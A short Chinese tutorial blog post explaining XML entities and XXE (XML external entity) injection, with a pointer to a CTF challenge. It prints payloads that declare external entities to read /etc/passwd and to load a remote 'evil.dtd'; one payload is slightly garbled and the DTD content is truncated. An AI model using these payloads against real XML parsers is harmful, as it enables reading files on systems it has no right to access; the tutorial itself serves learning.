XXE

作者: 喵了个咪0 | 来源:发表于2019-04-09 18:34 被阅读0次

一:XML

1.所有xml文档都由5种简单的构造模块(元素,属性,实体,PCDATA CDATA)构成。

2.实体:是由定义引用普通文本或特殊字符的快捷方式的变量,实体应用是对实体的引用。实体可以在内部或者外部进行声明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的

3.xml实体分为四种:字符实体,命名实体,外部实体,参数实体

4.文档类型定义:DTD   

DTD的作用是定义xml文档的合法构建模块。因此可以利用DTD来内部或外部的实体应用

5.内部引用:

<!ENTITY 实体名称 "实体的值">

将DTD和XML放在同一份文档中,利用DTD定义的实体即为内部实体。

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE xxe [

<!ENTITY chybeta "Hello World!">

]>

<xxe>

&chybeta;

</xxe>

访问该XML文档,&chybeta;会被解析为Hello World!并输出。

6.外部引入

基本格式:

<!ENTITY 实体名称 SYSTEM "URI">

<!ENTITY xxe(实体引用名) system "file:///etc/passwd"(实体内容)>]>

通过引用定义在外部的DTD中的实体,我们称之为外部实体,有system和public两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议:  file | http | php

xxe漏洞主要利用的是外部实体,

二: XXE存在的风险与利用

XXE 也就是xml外部实体注入

xml注入的方法,

方法一:

直接通过DTD外部实体声明

XML内容:

<?xml version="1.0"?>

<!DOCTYPE a [

        <!ENTITY b SYSTEM "file:///etc/passwd">

]>

<c>&b;</c>

方法二:

XML内容:

<?xml version="1.0"?>

<!DOCTYPE a SYSTEM "http:///123.com/evil.dtd">

<c>$b;</c>

DTD文件内容:

file:///etc/passwd">

三:通过ctf题进一步了解一下xxe(在jsonp种中玩xxe)

网址:https://www.jarvisoj.com/challenges

题目:api调用

题目描述:请设法获得目标机器/home/ctf/flag.txt中的flag值

修改content-type和传递的参数,下面是地区本地的敏感信息

读取flag

相关文章

  • XXE漏洞

    原文链接:http://wyb0.com/posts/xxe/ 0x00 XXE XXE漏洞是针对使用XML交互的...

  • 00.web

    1. XXE[1] XXE (XML External Entity Injection) 漏洞实践 如何挖掘Ub...

  • XXE后记(3)--抛砖引玉

    XXE最后的尾巴 知道了XXE的漏洞原理,以及简单的利用方法,漏洞危害后;就应该通过案例来感受XXE造成的危害,引...

  • 网络安全实战从0到1彻底掌握XXE

    0x01 什么是 XXE 个人认为,XXE 可以归结为一句话:构造恶意 DTD 介绍 XXE 之前,我先来说一下普...

  • CTF-WEB-20180821-#XXE#JSON

    -#XXE#json ——CTF{XxE_15_n0T_S7range_Enough} 题目描述 API调用请设法...

  • java xxe漏洞

    一、XXE漏洞简介 1、XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XM...

  • JAVA的XXE漏洞

    1. XXE简介 XXE(XML外部实体注入,XML External Entity) ,漏洞在对不安全的外部实体...

  • XXE

    之前做过一些XXE的笔记··但没有图不好表达 直接下链接吧 http://blog.csdn.net/u01172...

  • XXE

    http://www.freebuf.com/articles/web/126788.html

  • XXE

    aaa

网友评论

      本文标题:XXE

      本文链接:https://www.haomeiwen.com/subject/nveriqtx.html